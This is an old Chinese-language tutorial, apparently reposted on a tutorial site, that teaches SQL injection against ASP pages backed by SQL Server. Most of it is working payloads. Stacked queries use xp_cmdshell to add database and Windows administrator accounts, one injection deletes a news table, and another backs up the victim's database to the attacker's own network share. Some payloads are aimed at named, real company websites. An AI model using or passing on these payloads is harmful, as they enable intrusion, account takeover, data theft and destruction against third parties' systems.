明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

最近才發(fā)現(xiàn)我的程序里有如此多的漏洞

[摘要]程的書(shū)上,源代碼例子就有這個(gè)漏洞存在,其實(shí)只是一些合法的ASP對(duì)SQL的請(qǐng)求,就留下后患無(wú)窮! 這種攻擊方法最早源于''or''1''=''1的漏洞(我們暫且稱其為漏洞),這個(gè)漏洞的原理我想大家因該都知道了,那么隨之而來(lái)的便是;exe...

程的書(shū)上,源代碼例子就有這個(gè)漏洞存在,其實(shí)只是一些合法的ASP對(duì)SQL的請(qǐng)求,就留下后患無(wú)窮!

這種攻擊方法最早源于''or''1''=''1的漏洞(我們暫且稱其為漏洞),這個(gè)漏洞的原理我想大家因該都知道了,那么隨之而來(lái)的便是;exec

sp_addlogin hax(在數(shù)據(jù)庫(kù)內(nèi)添加一個(gè)hax用戶),但是這個(gè)方法的限制很大,首先ASP使用的SQL Server賬號(hào)是個(gè)管理員,其次請(qǐng)求的提交變

量在整個(gè)SQL語(yǔ)句的最后,因?yàn)橛幸恍┏绦騿T采用SELECT * FROM news WHERE id=... AND topic=... AND .....

這種方法請(qǐng)求數(shù)據(jù)庫(kù),那么如果還用以上的例子就會(huì)

news.asp?id=2;exec sp_addlogin hax

變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...

整個(gè)SQL語(yǔ)句在執(zhí)行sp_addlogin的存儲(chǔ)過(guò)程后有AND與判斷存在,語(yǔ)法錯(cuò)誤,你的sp_addlogin自然也不能正常運(yùn)行了,因此試試看下面這個(gè)方法

news.asp?id=2;exec sp_addlogin hax;--

后面的--符號(hào)把sp_addlogin后的判斷語(yǔ)句變成了注釋,這樣就不會(huì)有語(yǔ)法錯(cuò)誤了,sp_addlogin正常執(zhí)行!

那么我們連一起來(lái)用吧

news.asp?id=2;exec master.dbo.sp_addlogin hax;--

news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--

news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add'';--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net localgroup administrators hax /add'';--

這樣,你在他的數(shù)據(jù)庫(kù)和系統(tǒng)內(nèi)都留下了hax管理員賬號(hào)了

當(dāng)然,前提條件是ASP用管理員賬號(hào),所以虛擬空間大家就別試了,不會(huì)存在這個(gè)漏洞的。

以后我們會(huì)討論,如果對(duì)方的ASP不是用SQL管理員賬號(hào),我們?nèi)绾稳肭,?dāng)然也會(huì)涉及到1433端口的入侵

當(dāng)然大家可以試試看在id=2后面加上一個(gè)''符號(hào),主要看對(duì)方的ASP怎么寫(xiě)了,再說(shuō)說(shuō)當(dāng)ASP程序使用的SQL賬號(hào)不是管理員的時(shí)候我們?cè)撊绾巫觥?

你如天融信的主頁(yè),有新聞內(nèi)容,如下:

http://www.talentit.com.cn/news/news-2.asp?newid=117

大家可以試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--

呵呵,報(bào)語(yǔ)法錯(cuò)誤,select 123錯(cuò)誤,顯而易見(jiàn),天融新的ASP在newid變量后面用''號(hào)結(jié)束

那么試試看http://www.talentit.com.cn/news/news-2.asp?newid=117'';delete news;--

哈哈,我想只要表名猜對(duì)了,新聞庫(kù)就被刪了



通常ASP用的SQL賬號(hào)就算不是管理員也會(huì)是某個(gè)數(shù)據(jù)庫(kù)的owner,至少對(duì)于這個(gè)庫(kù)有很高的管理權(quán)限

但是我們不知道庫(kù)名該怎么?看看db_name()函數(shù)吧

打開(kāi)你的query analyzer,看看print db_name() ,呵呵,當(dāng)前的數(shù)據(jù)庫(kù)名就出來(lái)了

以次類推,如下: declare @a sysname;set @a=db_name();backup database @a to disk=''你的IP你的共享目錄bak.dat'' ,name=''test'';--

呵呵,他的當(dāng)前數(shù)據(jù)庫(kù)就備份到你的硬盤(pán)上了,接下來(lái)要做的大家心里都明白了吧

同理這個(gè)方法可以找到對(duì)方的SQL的IP

先裝一個(gè)防火墻,打開(kāi)ICMP和139TCP和445TCP的警告提示

然后試試看news.asp?id=2;exec master.dbo.xp_cmdshell ''ping 你的IP''

如果防火墻提示有人ping你,那么因該可以肯定對(duì)方的ASP用的是SQL的管理員權(quán)限,同時(shí)也確定了對(duì)方的SQL Server的準(zhǔn)確位置,因?yàn)楹芏啻?一點(diǎn)的網(wǎng)站考慮性能,會(huì)吧web服務(wù)和數(shù)據(jù)庫(kù)分開(kāi),當(dāng)對(duì)方大上了補(bǔ)丁看不到源代碼時(shí),我想只有這個(gè)方法能很快的定位對(duì)方的SQL Server的位置了

那么,如果對(duì)方ASP沒(méi)有SQL管理員權(quán)限,我們就不能調(diào)用xp_cmdshell了,該怎么辦?

別著急,試試看這個(gè)news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=''你的IP你的共享目錄bak.dat''



,name=''test'';--

呵呵,你的防火墻該發(fā)出警告了,有人連接你的445或139(win9端口了,這樣,對(duì)方的SQL的ip一樣也可以暴露 那么如果對(duì)方連某個(gè)數(shù)據(jù)庫(kù)的owner也不是的話,我們?cè)撛趺崔k?下次我會(huì)告訴大幸隕蟯rl希望大家通過(guò)vbscript提交,因?yàn)闉g覽器的地址欄會(huì)屏蔽一些特殊字符,這樣你的命令就不能完整傳輸了

window.location.herf=URL



補(bǔ)充:這個(gè)問(wèn)題以前載網(wǎng)上也提出來(lái)過(guò),但是只是一些簡(jiǎn)單的xp_cmdshell調(diào)用限制很大,其實(shí)這里面還有很多值得深入的地方比如 www.guosen.com.cn。國(guó)信證卷就有這個(gè)問(wèn)題,而且他們采用ms的三層結(jié)構(gòu)作的用以前說(shuō)的xp_cmdshell做法就不行了,字符串會(huì)被過(guò)濾,但是 我嘗試了,用sql的異類請(qǐng)求仍然可以在對(duì)方的機(jī)器上開(kāi)啟telnet服務(wù)和administrators組的賬號(hào)!由于對(duì)方防火墻很?chē)?yán)checkpoint數(shù)據(jù)報(bào)進(jìn)出 都只開(kāi)放80端口因此,要想獲得他的數(shù)據(jù)庫(kù)結(jié)構(gòu)比較困難了,但是還是有辦法可以做到的:P

順便提醒大家注意一下關(guān)于sqloledb,db_name,openrowset,opendatasource這些系統(tǒng)函數(shù)當(dāng)asp的sqlserver賬號(hào)只是一個(gè)普通用戶時(shí),他們會(huì)很有用的!